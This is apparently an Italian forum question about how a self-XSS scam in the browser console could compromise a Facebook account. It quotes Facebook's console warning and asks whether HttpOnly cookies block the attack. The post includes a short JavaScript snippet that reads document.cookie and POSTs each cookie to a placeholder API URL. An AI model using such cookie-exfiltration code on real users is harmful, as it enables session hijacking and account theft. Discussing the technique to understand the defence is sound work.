Mi è capitato di aprire la mia console del browser su Facebook di recente e sono stato accolto con il seguente messaggio.
Stop!
This is a browser feature intended for developers. If someone told you to copy and paste something here to enable a Facebook feature or "hack" someone's account, it is a scam and will give them access to your Facebook account.
See https://www.facebook.com/selfxss for more information.
Il mio primo pensiero è stato semplicemente quello di uccidere, forse destinato a spaventare quegli ignari popoli di internet che copieranno e incolleranno ciecamente alcuni javascript nella console nella speranza di sbloccare un pulsante segreto antipatia.
Ma in realtà stavo pensando a come potresti compromettere i dati di una sessione degli utenti dalla console di Javascript.
Ho pensato a uno script che eseguiva il looping della variabile document.cookie
e postava tutti i dati dei cookie su un'API. Qualcosa di simile al sotto.
var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');
for(var i=0 ; i < cookies.length ; ++i) {
var pair = cookies[i].trim().split('=');
xhr.send(JSON.stringify({
name: pair[0],
value: pair[1]
}));
}
Ma la mia comprensione è che l'aggiunta del flag http-only
a un cookie significa che non è possibile accedervi da javascript o lato client.
Quindi come potrebbe un utente malintenzionato indurti a compromettere il tuo account Facebook esclusivamente da self-xss?